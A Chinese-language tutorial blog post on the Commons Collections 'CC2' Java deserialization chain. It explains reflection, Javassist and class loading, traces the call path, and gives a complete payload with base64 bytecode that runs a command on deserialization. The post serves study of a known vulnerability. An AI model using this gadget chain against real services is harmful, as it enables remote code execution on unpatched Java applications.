面试遇到很多人问CC2,重新学习一下。

Commons Collections

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

因为很多生产环境中都使用了这个包,所以说此包中的反序列化成为了java反序列化中经典的利用链,有很多反序列化漏洞就是使用其中的反序列化链比如说fastjson。本篇文章主要简单的介绍cc2链。

1、前置知识

在介绍cc2链之前需要掌握几个关于java的知识。

1.1 java反射机制

反射(Reflection) 是 Java 程序开发语言的特征之一,它允许运行中的 Java 程序对自身进行检查,或者说“自审”,并能直接操作程序的内部属性和方法。在程序运行时,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。这种动态的获取信息以及动态调用对象的方法的功能称为 java 的反射机制。
java中每一个类都会有与之相关联的Class类实例一一对应。
每编译一个新类就会产生一个与之对应的Class类,这个Class类是由JVM和通过调用类加载器中的defineClass方法自动构造的。

Class类有四种方法来获取

// 1.通过字符串获取Class对象,这个字符串必须带上完整路径名,进行类初始化
Class studentClass = Class.forName("com.test.reflection.Student");
// 2.通过类的class属性,不进行类初始化
Class studentClass2 = Student.class;
// 3.通过对象的getClass()函数
Student studentObject = new Student();
Class studentClass3 = studentObject.getClass();
// 4.通过classloader获取,不进行类初始化
ClassLoader  classLoader = this.getClass().getClassLoader();
Class  clazz5 = classLoader.loadClass("com.test.reflection.Student");

创建实例大概有三种方法

1.公有无参构造方法
class.newInstance()

Monkey mk = Monkey.class.newInstance();

只能调用该类的public无参数构造方法。如果构造方法带有参数,或者不是public,就无法直接通过Class.newInstance()来调用。

2.公有含参构造方法
同时这种方式也可以获取公有无参构造方法

Constructor getConstructor(Class<?>... parameterTypes);
Constructor[] getConstructors();

3.私有构造方法
同时这种方式也可以获取公有方法

Constructor getDeclaredConstructor(Class<?>... parameterTypes);
Constructor[] getDeclaredConstructors();

Class clazz = Class.forName("java.lang.Runtime"); 
Constructor m = clazz.getDeclaredConstructor(); 
m.setAccessible(true); 
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "/System/Applications/Calculator.app/Contents/MacOS/Calculator");

调用反射类的方法

Method getMethod(name, Class…)
public Object invoke(Object obj, Object... args)

如果说我们要使用的方法需要传入一个String类型的name参数,那么在getMethod时候就要填充String 对应的Class对象 String.class,在invoke的时候填充String对象"Xiao ming"

实例代码,以下代码相当于调用了new ProcessBuilder("calc").start();

Class clazz = Class.forName("java.lang.ProcessBuilder");
//获取构造方法
Method getConstructorMethod = clazz.getClass().getMethod("getConstructor", Class[].class);//因为...特性这里也可传入Class[].class效果相同
//传入参数返回构造方法
Object b = getConstructorMethod.invoke(clazz, new Object[]{new Class[]{String[].class}});
//利用返回的构造方法来创建对象
Method newInstanceMethod = b.getClass().getMethod("newInstance", new Class[]{Object[].class});
//调用方法传入cmd参数之后创建对象
Object d = newInstanceMethod.invoke(b, new Object[]{new String[][]{{"calc"}}});
//获得start方法
Method startMethod = d.getClass().getMethod("start", new Class[]{});
//调用start方法
startMethod.invoke(d, new Object[]{});

1.2 利用Javassist操作字节码

JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库 . 他允许开发者自由的在一个已经编译好的类中添加新的方法,或者是修改已有的方法。对Javassist简单的理解,我们使用java反射机制动态的获取和修改对象中的成员变量,同时使用Javassist动态的获取和修改对象中的方法。

这里借用别人的代码,使用方法

package com.reflect;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;

public class test4 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索)
        CtClass clazz = pool.get(test4.class.getName());//将test4类放入hashtable并返回CtClass对象
        String cmd = "java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";
        clazz.makeClassInitializer().insertBefore(cmd);//在static前面插入
        clazz.makeClassInitializer().insertAfter(cmd);//在static后面插入
        String Name = "hehehe";
        clazz.setName(Name);//设置类名
        clazz.writeFile("./a.class");//写入文件
    }
}

这段代码首先试获取test4的Class对象,然后通过makeClassInitializer()插入我们的静态代码cmd,在java中类加载的时候会自动运行静态代码块中的代码。
写入的文件如下

1.3 加载字节码

ClassLoader类 核心方法:
1.loadClass(String className),根据名字加载一个类。
2.defineClass(String name, byte[] b, int off, int len),将一个字节流定义为一个类。
3.findClass(String name),查找一个类。
4.findLoadedClass(String name),在已加载的类中,查找一个类。
5.resolveClass(链接指定的Java类)

利用defineClass(),我们可以通过byte动态的加载一个类

import java.lang.reflect.Method;

public class classloadertest extends ClassLoader{
    private static String testclassname= "com.test.test";
    //转换byte后的字节码
    private static byte[] classbytes= new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 29, 10, 0, 6, 0, 15, 9, 0, 16, 0, 17, 8, 0, 18, 10, 0, 19, 0, 20, 7, 0, 21, 7, 0, 22, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 7, 0, 8, 7, 0, 23, 12, 0, 24, 0, 25, 1, 0, 17, -23, -114, -75, -47, -122, -18, -108, -111, -23, -114, -76, -26, -124, -84, -27, -89, -101, 7, 0, 26, 12, 0, 27, 0, 28, 1, 0, 13, 99, 111, 109, 47, 116, 101, 115, 116, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 5, 0, 6, 0, 0, 0, 0, 0, 2, 0, 1, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 10, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 9, 0, 11, 0, 12, 0, 1, 0, 9, 0, 0, 0, 37, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 1, 0, 10, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 1, 0, 13, 0, 0, 0, 2, 0, 14};


    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        //只处理com.test.test类
        if (name.equals(testclassname)) {
          //将一个字节流定义为一个类。
            return defineClass(testclassname, classbytes, 0, classbytes.length);
        }
        return super.findClass(name);
    }

    public static void main(String[] args) throws Exception {
        //创建加载器
        classloadertest classloadertest = new classloadertest();
        //使用我们自定义的类去加载testclassname
        Class aClass = classloadertest.loadClass(testclassname);
        //反射创建test类对象
        Object o = aClass.newInstance();
        //反射获取method方法
        Method method = o.getClass().getMethod("method");
        //反射去调用执行method方法
        String str = (String) method.invoke(o);
        System.out.println(str);
    }
}

2、命令执行点

命令执行的点是由TemplatesImpl类触发的,是因为其中的newTransformer方法可以用来通过字节码来创建实例。
简单的跟进一下

进入getTransletInstance

进入defineTransletClasses

defineClass来装载字节码

最后创建实例,此时我们写在静态代码块或构造方法中的恶意代码就已经执行了。
这里借用别人的图可以更好的理解。

至此恶意代码是如何能够运行我们已经弄清楚了,接下来我们如何去触发newTransformer方法呢?

3、反序列化入口

PriorityQueue类重写了其readObject方法,

跟进入heapify方法

跟进siftDownUsingComparator方法

可以看到调用了比较器的compare方法
TransformingComparator类的compare方法,调用了熟悉的transform方法。

InvokeTransformertransform方法可以用来调用传入对象的任意方法。所以在这里我们可以用其调用我们上面TemplatesImpl类的newTransformer方法来执行我们的恶意代码。

这里借用别人的图,完整的链就成了下图所示

梳理一下
1、TemplatesImpl类的newTransformer方法可以通过加载字节码来执行我们的恶意代码。
2、InvokeTransformertransform方法可以用来调用传入对象的任意方法。
3、TransformingComparator类的compare方法中调用了transform方法。
4、PriorityQueuereadObject方法中调用了比较器的compare方法。
5、反序列化时会自动调用readObject方法

4、Payload

public class cc2_1 {

    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");


        Field _tfactory = aClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(TemplatesImpl_instance ,  new TransformerFactoryImpl());

        //传递给TransformingComparator
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator =new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2);
        //queue.add(1);
        //queue.add(1);
        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);

        Field field2=queue.getClass().getDeclaredField("size");
        field2.setAccessible(true);
        field2.set(queue,2);
        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //数组中必须添加2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();

    }
}

关于add(1)
在刚开始学习的时候对于利用代码中的add(1),非常的不解,后来经过实验可以用以下代码去代替add(1),其实是成员变量size的限制,进行比较需要两个元素以上。

        Field field2=queue.getClass().getDeclaredField("size");
        field2.setAccessible(true);
        field2.set(queue,2);

5、小结

在对基础知识熟悉之后,CC链其实还是比较好理解的,相关的类其实代码量不多,自己动手看看代码很好理解,只要理解好CC1和CC2的链,其他的链不过也就是利用不同的类来触发特定的方法比如transform

参考资料:

https://paper.seebug.org/1242/#commons-collections
https://xz.aliyun.com/t/1756#toc-3
https://www.anquanke.com/post/id/232592#h2-16